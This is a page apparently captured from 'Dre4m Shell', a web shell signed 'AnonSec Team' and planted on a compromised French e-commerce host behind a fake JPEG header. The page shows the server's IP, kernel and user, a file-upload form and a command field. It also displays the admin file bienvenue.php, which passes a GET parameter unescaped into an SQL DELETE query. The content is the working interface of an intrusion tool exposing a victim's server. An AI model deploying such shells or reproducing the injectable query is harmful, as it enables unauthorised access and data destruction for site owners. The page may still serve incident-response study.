ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/ODLDDD_2/cp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/ODLDDD_2/cp-admin//bienvenue.php
<?php
include_once('includes/header.php');
$id_volet ="30";
include('includes/volet.php');
/****************************/

// Suppression de la page.
if (isset($_GET['del'])) 
{
  $id = $_GET['del'];

  /* Efface le produit */
  $bdd->exec("DELETE FROM " . $GLOBALS['db_table']['bienvenue'] . " WHERE id = $id");

  echo '<script>';
  echo 'window.location = "./bienvenue.php"';
  echo '</script>';
}
?>

<div class="container">
  <div class="row">
    <div class="span12">
      <div class="page-header">
        <h1>Gérer vos Remises de bienvenue
          <div class="pull-right">
            <a href="add_bienvenue.php" class="btn btn-primary" id="form"><i class="icon-plus"></i> Ajouter Remise</a>
          </div>
        </h1>
      </div>
    </div>
  </div>
  
  Seule la premi&egrave;re remise de la liste (active au niveau des dates) est prise en compte.
<br /><br />  
  <table class="table table-bordered table-striped">
    <thead>
      <tr>
        <th class="span1 center">Code remise</th>
        <th class="span1 center">Taux de réduction</th>
       <th class="span2 center">Date de validité</th>       
        <th class="span1 center">Opérations</th>                                  
      </tr>
    </thead>
    <tbody>

      <?php
      $requete = $bdd->query("SELECT * FROM " . $GLOBALS['db_table']['bienvenue']); 
      if ($row = $requete->fetch()) {
        do {
          ?>

          <tr>
            <td class="span1 font12 center">
              <b><?php echo stripcslashes($row['discount_code']); ?></b>
            </td>
            
                       <td class="span1 font12 center">
              <b><?php echo stripcslashes($row['discount_pourcent']); ?> %</b>
            </td> 
            
            
            <td class="span1 font12 center">
              Du <b><?php setlocale (LC_TIME, 'fr_FR.utf8','fra'); echo utf8_encode(strftime("%A %d-%m-%Y", strtotime($row['date_start']))); ?></b> au <b><?php echo utf8_encode(strftime("%A %d-%m-%Y", strtotime($row['date_end']))); ?></b>
            </td>
            <td class="span1 center" style="width: 71px;">
              <a href="./edit_bienvenue.php?id=<?php echo $row['id']; ?>">
                <img src="assets/img/edit.png" title="Editer la remise" />
              </a>
              &nbsp;
              <a href="./bienvenue.php?del=<?php echo $row['id']; ?>" id="'.$id.'" onclick="return confirm('Êtes vous sur de vouloir supprimer cet élément ?');">
                <img src="assets/img/delete.png" title="Supprimer la remise" />
              </a>
            </td>
          </tr>

          <?php
        }while ($row = $requete->fetch());
      } else {
        echo 'Aucune page à afficher !!!';
      }
      ?>

    </tbody>
  </table>
</div>

<?
include_once('includes/footer.php');
?>

Anon7 - 2022
AnonSec Team